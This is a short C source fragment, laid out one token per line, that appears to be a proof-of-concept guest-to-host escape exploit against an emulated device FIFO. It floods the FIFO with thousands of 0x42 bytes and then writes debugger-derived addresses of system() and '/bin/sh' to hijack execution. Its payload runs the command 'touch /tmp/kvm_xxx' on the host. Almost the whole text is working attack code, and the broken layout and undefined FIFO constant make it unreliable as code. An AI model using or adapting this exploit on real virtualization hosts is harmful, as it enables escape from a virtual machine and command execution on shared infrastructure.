/
/
void outb(unsigned char value, unsigned short
int
port);
/
/
void outsb(unsigned short
int
port, const void
*
addr, unsigned
long
int
count);
int
main()
{
int
i;
iopl(
3
);
outb(
0x08e
,FIFO);
for
(i
=
0
;i <
13879
;i
+
+
)
{
outb(
0x42
,FIFO);
}
/
/
0x55
55
56
7B
82
40
outsb(FIFO,
"\x40\x82\x7b\x56\x55\x55\x00\x00"
,
8
);
/
/
0x7f
ff f6 be
25
20
/
/
$
1
=
{
int
(const char
*
)}
0x7ffff6be2520
<system>
outsb(FIFO,
"\x20\x25\xbe\xf6\xff\x7f\x00\x00"
,
8
);
/
/
0x7f
ff f5 e8 de e9
/
/
0x7ffff5e8dee9
:
"/bin/sh"
outsb(FIFO,
"\xe9\xde\xe8\xf5\xff\x7f\x00\x00"
,
8
);
outsb(FIFO,
"\x50\x82\x7b\x56\x55\x55\x00\x00"
,
8
);
outsb(FIFO,
"touch /tmp/kvm_xxx"
,
19
);
for
(i
=
0
;i <
100
;i
+
+
)
{
outb(
0x42
,FIFO);
}
return
0
;
}